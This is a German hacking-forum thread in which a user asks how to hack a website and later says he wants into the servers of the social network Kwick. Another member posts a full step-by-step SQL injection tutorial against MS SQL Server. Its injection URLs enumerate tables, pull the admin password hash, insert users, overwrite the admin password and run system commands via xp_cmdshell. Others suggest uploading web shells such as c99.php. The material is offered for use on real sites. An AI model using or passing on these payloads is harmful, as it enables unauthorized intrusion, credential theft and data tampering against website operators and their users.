Suche anleitung um internetseite zu hacken

[Werner1956]

Wie der titel schon sagt suche ich eine anleitung wie man eine Internetseite hackt. wenn jemand ein v-tut oder t-tut machen könnte wäre das sehr hilfreich :D

[Apex]

"Hacken" kannst du eine Internetseite soweso nicht. Du guckst erstmal wo drauf die läuft oder so. Danach kannste das ja noch machen. DAnn kommt es darauf an, was es für eine ist ist es normale über einen Anbieter erstellt ( z.b. "homepage-baukasten.de" ) oder vllt eine Boardsoftware oder eine Forumsoftware ( CBACKER, wBBLite, phpBB etc. ).

Und "hacken" kannst du es nicht nennen wenn es über eine Boardsoftware oder so ist dann eher exploiten.

[Trii]

Hacken ist nur der Oberbegriff. Natürlich kann man es hacken nennen.

b2t:
Schau in der V-Tut's Section und such nach dem CMS welches du xploiten willst. Oder such auf milw0rm.com ein xploit für das jeweilige CMS.

[Pa7r1ck]

1. Einleitung
SQL Injection bezeichnet eine Lücke, durch die ein Angreifer beliebige SQL-Befehle ausführen kann.
Theoretisch können ASP, CGI, PHP, JSP o.ä. Scripts solche Lücken enthalten.
Angenommen wir wollen eine Website namens www.site.de ownen. Gehen wir davon aus, dass die Mainpage index.php heißt, also wäre der link zum PHP-Script:
http://www.site.de/index.php


2. Verwundbare Parameter finden
2.1 GET Parameter
Unser Ziel ist es jetzt, mit einem verwundbaren Parameter einen SQL Error hervorzurufen.
Parameter werden mit einem ‚?’ angehängt. Sind mehrere Parameter im Request, werden weitere mit einem ‚&’ angehängt. z.B.:
http://www.site.de/index.php?pageid=7&Nav=1
Parameter die in der URL sichtbar sind, sind GET Parameter
versuchen wir nun die 7 mit einem mit einem SQL-üblichen Zeichen wie z.B.: ' zu ersetzen.
Wir stellen in diesem Fall fest dass die Page vielleicht anders angezeigt wird, aber kein SQL Error zu sehen ist. Das gleiche gilt auch für den Parameter „Nav“.
Angenommen wir stoßen nach weiterem Suchen auf die URL
http://www.site.de/index.php?Sort=az
und versuchen „az“ mit einem ' zu Ersetzen. Und? Was spuckt unser Browser aus?
Vielleicht so was Ähnliches wie dies:
Microsoft OLE DB Provider for SQL Server- Fehler '80040e14'
Ungültiger Spaltenname“ '“'.
/index.php, line 24
(Anmerkung: an der Fehlermeldung kann man z.B. auch erkennen dass es sich hier um einen MS SQL Server handelt.)

Wenn es gelingt, einen „Invalid column name“ error (ungültiger Spaltenname) zu finden, ist dieser Parameter verwundbar.

2.2 POST Parameter
Neben den GET Parametern gibt es noch die POST Parameter.
Diese kommen häufig bei Logins und Suchen vor und können auch verwundbar sein.
Die einfachste Lösung, POST Requests zu bearbeiten ist das Firefox-Plugin „Tamper Data“. (wer googlen kann ist hier klar im Vorteil ;) )
Im Endeffekt gilt für die POST Parameter das gleiche wie schon in 2.1 für die GET Parameter beschrieben.

3. Spalten
Nun müssen wir erstmal wissen, welche Spalten die PHP verwendet (wichtig für später; siehe 4. Statements mit UNION). Um die erste Spalte herauszufinden, hängen wir ein kleines HAVING 1=1 an. Der ' wird für alle weiteren statements weitergeführt.
Die beiden - läuten einen Kommentar ein, womit alles weitere ignoriert wird:
http://www.site.de/index.php?Sort='%20HAVING%201=1--
Als Antwort vom Server:
Microsoft OLE DB Provider for SQL Server- Fehler '80040e14’
Die online.a1-Spalte ist in der Auswahlliste ungültig, da sie nicht in einer Aggregatfunktion enthalten und keine GROUP BY-Klausel vorhanden ist.
/index.php, line 24
Das bedeutet, dass im Script ein SQL Befehl steht, dass den Wert aus der a1-Spalte ausliest.
Auch kann man mit großer Wahrscheinlichkeit vermuten (nicht 100%), dass der Name der Table in diesem Fall „online“ lautet.
Nun müssen wir die Anzahl der Spalten, auf die das Script zugreift, herausfinden (wegen dem UNION statement). Dazu bedient man sich eines GROUP BY statements und hängt an den Schluss wieder „HAVING 1=1--“an:
http://www.site.de/index.php?Sort='%20GROUP%20BY%20online.a1%20HAVING %201=1--
Antwort:
Die online.b5-Spalte ist in der Auswahlliste ungültig, da sie nicht in einer Aggregatfunktion enthalten und keine GROUP BY-Klausel vorhanden ist.
/index.php, line 24

Jetzt haben wir den 2. Spaltennamen. Er lautet in diesem Beispiel „b5“ und er wird im folgenden Request mit einem Komma an den Vorangehenden angehängt.
http://www.site.de/index.php?Sort='%20GROUP%20BY%20online.a1,online.b 5%20HAVING%201=1--
Antwort:
Die online.c3-Spalte ist in der Auswahlliste ungültig, da sie nicht in einer Aggregatfunktion enthalten und keine GROUP BY-Klausel vorhanden ist.
/index.php, line 24

Der 3. Spaltenname lautet: „c3“. Weiter geht’s:
http://www.site.de/index.php?Sort='%20GROUP%20BY%20online.a1,online.b 5,online.c3%20HAVING%201=1--
Antwort:
Die online.d7-Spalte ist in der Auswahlliste ungültig, da sie nicht in einer Aggregatfunktion enthalten und keine GROUP BY-Klausel vorhanden ist.
/index.php, line 24

………

Das ganze macht man jetzt, bis die Page wieder ohne einen SQL Error angezeigt wird. Nehmen wir an, das Script greift auf 7 Spalten zu: a1, b5, c3, d7, e2, f6, g4
Das bedeutet, dass UNION statements hier immer 7 Glieder enthalten müssen.


4. Statements mit UNION
4.1 Tables herausfinden
Da wir mittlerweile die Anzahl der Spalten wissen, können wir nun UNION statements über die index.php machen. Da es sich hier um einen MS SQL Server handelt, werden die Namen der Tables in der Table „INFORMATION_SCHEMA.TABLES“ gespeichert. Zunächst wollen wir den Namen der 1. Table wissen:
http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20TABL E_NAME,TABLE_NAME,TABLE_NAME,TABLE_NAME,TABLE_NAME ,TABLE_NAME,TABLE_NAME%20FROM%20INFORMATION_SCHEMA .TABLES--
(Anmerkung: Zwischen TABLE und NAME steht ein „_“ und kein Leerzeichen)

Der Server ist natürlich so freundlich und teilt uns dem Namen mit (hier: „Info“):
Syntaxfehler beim Konvertieren des nvarchar-Wertes 'Info' in eine Spalte vom Datentyp int.
/index.php, line 24
Um den Namen der 2. Table herauszufinden machen wir folgendes:
http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20TABL E_NAME,TABLE_NAME,TABLE_NAME,TABLE_NAME,TABLE_NAME ,TABLE_NAME,TABLE_NAME%20FROM%20INFORMATION_SCHEMA .TABLES%20WHERE%20TABLE_NAME%20NOT%20IN%20('Info')--
Antwort:
Syntaxfehler beim Konvertieren des nvarchar-Wertes 'Suchbegriffe' in eine Spalte vom Datentyp int.
/index.php, line 24

Name der 2. Table: „Suchbegriffe“. Weiter geht’s:
http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20TABL E_NAME,TABLE_NAME,TABLE_NAME,TABLE_NAME,TABLE_NAME ,TABLE_NAME,TABLE_NAME%20FROM%20INFORMATION_SCHEMA .TABLES%20WHERE%20TABLE_NAME%20NOT%20IN%20('Info', 'Suchbegriffe’)--
Antwort:
Syntaxfehler beim Konvertieren des nvarchar-Wertes 'Benutzerdaten' in eine Spalte vom Datentyp int.
/index.php, line 24

Das is ja mal ne Interessante Table ;)
Wenn ihr die Namen der weiteren Tables herausfinden wollt, wisst ihr was ihr zu machen habt. (schaut auch einfach die URLs, die 10 Zeilen weiter oben stehen, an)


4.2 Spalten herausfinden
Wir wollen jetzt die Spalten der Table „Benutzerdaten“ herausfinden.
Das geht folgendermaßen:
http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20COLU MN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN _NAME,COLUMN_NAME,COLUMN_NAME%20FROM%20INFORMATION _SCHEMA.COLUMNS%20WHERE%20TABLE_NAME='Benutzerdate n'--
Antwort:
Syntaxfehler beim Konvertieren des nvarchar-Wertes 'ID' in eine Spalte vom Datentyp int.
/index.php, line 24

Die 1. Spalte der Table „Benutzerdaten“ heißt also „ID“. Weiter geht’s:
http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20COLU MN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN _NAME,COLUMN_NAME,COLUMN_NAME%20FROM%20INFORMATION _SCHEMA.COLUMNS%20WHERE%20TABLE_NAME='Benutzerdate n'%20AND%20COLUMN_NAME%20NOT%20IN%20('ID')--

Antwort:
Syntaxfehler beim Konvertieren des nvarchar-Wertes 'Username' in eine Spalte vom Datentyp int.
/index.php, line 24

Endlich mal interessante Spaltennamen….

Weiter geht’s:
http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20COLU MN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN _NAME,COLUMN_NAME,COLUMN_NAME%20FROM%20INFORMATION _SCHEMA.COLUMNS%20WHERE%20TABLE_NAME='Benutzerdate n'%20AND%20COLUMN_NAME%20NOT%20IN%20('ID','Usernam e')--
Antwort:
Syntaxfehler beim Konvertieren des nvarchar-Wertes 'Passwort' in eine Spalte vom Datentyp int.
/index.php, line 24

hm….
http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20COLU MN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN _NAME,COLUMN_NAME,COLUMN_NAME%20FROM%20INFORMATION _SCHEMA.COLUMNS%20WHERE%20TABLE_NAME='Benutzerdate n'%20AND%20COLUMN_NAME%20NOT%20IN%20('ID','Usernam e','Passwort')--
Antwort:
Syntaxfehler beim Konvertieren des nvarchar-Wertes 'Email' in eine Spalte vom Datentyp int.
/index.php, line 24

http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20COLU MN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN _NAME,COLUMN_NAME,COLUMN_NAME%20FROM%20INFORMATION _SCHEMA.COLUMNS%20WHERE%20TABLE_NAME='Benutzerdate n'%20AND%20COLUMN_NAME%20NOT%20IN%20('ID','Usernam e','Passwort','Email')--

Nehmen wir an, die Seite wird jetzt wieder normal (ohne SQL error) angezeigt. Nun wissen wir, dass die Table „Benutzerdaten“ 4 Spalten hat: ID, Username, Passwort, Email.


4.3 Werte herausfinden
Jetzt wollen wir den obersten Benutzernamen wissen:
http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20User name,Username,Username,Username,Username,Username, Username%20FROM%20Benutzerdaten--
Antwort:
Syntaxfehler beim Konvertieren des varchar-Wertes 'Administrator' in eine Spalte vom Datentyp int.
/index.php, line 24

Natürlich könnten wir jetzt noch die anderen Benutzernamen herausfinden, aber das Passwort vom Admin interessiert uns natürlich mehr ;)

http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20Pass wort,Passwort,Passwort,Passwort,Passwort,Passwort, Passwort%20FROM%20Benutzerdaten%20WHERE%20Username ='Administrator'--

Antwort:
Syntaxfehler beim Konvertieren des varchar-Wertes '4131f6d97da637475b0fc87cd5def36c' in eine Spalte vom Datentyp int.
/index.php, line 24
Sieht das nicht aus wie ein MD5-Hash? ^^
Also schnell cracken und einloggen. Der Hash ist einfach zu knacken, aber es soll ja auch Admins geben, die sichere Passwörter haben. Dazu verweise ich auf Abschnitt 5.2

Am häufigsten ist MD5. Es kann aber auch sein, dass ihr mal auf SHA-1 Hashes oder auf Plaintext (Pw im Klartext) stoßen werdet.


5. Schreiben
5.1 Hinzufügen
Wenn die SQL Database nicht read-only ist, könnt ihr auch was verändern.
Um einen neuen Eintrag anzulegen müsst ihr die Spaltennamen der Table wissen (siehe 4.2).
Wenn ihr z.B. einen neuen Benutzer mit dem Namen „NewUser“ und dem Passwort „test“ anlegen wollt, sieht dies im folgenden Fall so aus:
http://www.site.de/index.php?Sort='%20INSERT%20INTO%20'Benutzerdaten' %20('ID',%20'Username',%20'Passwort'%20'Email')%20 VALUES%20(1337,'NewUser','098f6bcd4621d373cade4e83 2627b4f6','ab@c.de')--
Wenn alles richtig funktioniert hat, bekommt ihr keinen SQL Error und die Page wird normal angezeigt.


5.2 Verändern
Ihr könnt einen Hash nicht cracken, wollt euch aber unbedingt unter diesem User einloggen?
Die Lösung ist ganz einfach.
Erst denkt ihr euch ein Passwort aus und generiert euch den passenden Hash dazu (in diesem Fall der MD5 von „test“: 098f6bcd4621d373cade4e832627b4f6).
Dann ersetzt ihr das alte Passwort durch das neue:
http://www.site.de/index.php?Sort='%20UPDATE%20'Benutzerdaten'%20SET% 20'Passwort'%20=%20'098f6bcd4621d373cade4e832627b4 f6'%20WHERE%20Username='Administrator'--
Wenn alles gepasst hat, bekommt ihr auch hier keinen SQL Error und die Page wird normal angezeigt. Jetzt könnt ihr euch als „Administrator“ mit dem Passwort „test“ einloggen.
Ich empfehle mal das Passwort später wieder auf den alten Wert zurückzusetzen ;)



6. Befehle ausführen
Bei einem MS SQL Server könnt ihr mit xp_cmdshell, wenn es EXECUTE Berechtigung hat, Befehle ausführen. Zum Beispiel einen Neustart:
http://www.site.de/index.php?Sort=';%20exec%20master..xp_cmdshell%20' shutdown%20-r'--
Wenn die Berechtigung fehlt, teilt euch dies der Server durch einen SQL Error mit.
Ansonsten macht der Server mal schnell einen Neustart.
Was ihr dann noch so alles damit machen könnt, erwähn ich hier lieber nicht ;)



Viel Spaß beim Injecten!


© 2007 by hias

(Tutorial darf verbreitet werden, solang ihr nicht behauptet, es selbst geschrieben zu haben)


Aber du solltest es nicht nach einer Step-By-Step Anleitung machen.
Du solltest besser selber lernen...Wenn du es einfach nach einem Tut machst versethst du es später nicht...
Und btw wegen deiner Signatur: Wenn da schon was von SUFU steht hättest du sie auch benutzen können...

[botfreaker]

ok, ich mach demnächst wirklich ein v-tut wie man das pentagon hackt...

ok, ich reiß mich zusammen, und versuch mal ne richtige antwort zu geben:
1. Du kannst die hp exploiten, den hash cracken und dann hast du das admin pw
2. du kannst ne shell uploaden (zb. r57.php,c99.php , wie du willst)
3. du kannst es mit ner sql injection versuchen

[HandyRipper]

Lol man kann eine seite nicht einfachmal hacken du musst nach exploits suchen und wens keine gibt hatt man pech gehabt^^

Hier kannst du suchen:
http://www.milw0rm.com/milw0rm - exploits : vulnerabilities : videos :papers : shellcode

Gibt aber noch mehrere seiten google mal :lol:

[Pa7r1ck]

und wens keine gibt hatt man pech gehabt^^

Eben nicht.
Man kann ja auch SQL-Injections lernen...
Ich habe gerade eben ein Tut gepostet 2 oder 3 Posts über dir :roll:

[Werner1956]

und was ist wenn die adresse seite etwa so aussieht www.kwick.de/startseite :?:

[Pa7r1ck]

HAHA^^
Also an Kwick würde ich mich jetzt als Neuling nicht versuchen :D

Aufjedenfall geht es dann nicht.

site.de/index.php?abc=xxx


so...

site.de ist die Seite die du hacken willst
index.php ist die php datei. es kann auch index.asp heißen oder search.php
Ist egak aufjedenfall muss es verwundbare Parameter geben.
Parameter werden an php oder asp datein so angehängt:

.php?abc=xxx

abc ist in dem Fall der Parameter diesen willst du Testen ob er verwundbar ist.

xxx ist in dem Fall das was du verändern willst um zu Testen ob der Parameter verwundbar ist und du SQL Befehle ausführen kannst.
Also machst du aus

site.de/index.php?abc=xxx

site.de/index.php?abc='

Und wenn ein SQL Fehler kommt ist der Parameter verwundbar, steht ja im Tut.

Schau dich auch mal in der SQL-Section um:

http://free-hack.com/viewforum.php?f=204

[Werner1956]

ich brauch aber zugriff auf den server von kwick!!!

könnte jemand so freundlich sein und mir helfen???

[Pa7r1ck]

:roll:

Wenn es so einfach wäre, denkst du Kwick würde jetzt noch laufen?...
Kwick ist ziemlich sicher, du bist nicht der erste der das versucht hat....
Also du kannst erstmal an kleinen Seiten üben und dann kannste ja mal Kwick durchsuchen vllt gibt es doch noch eine Möglichkeit...wer weiß?...
Naja lass es lieber...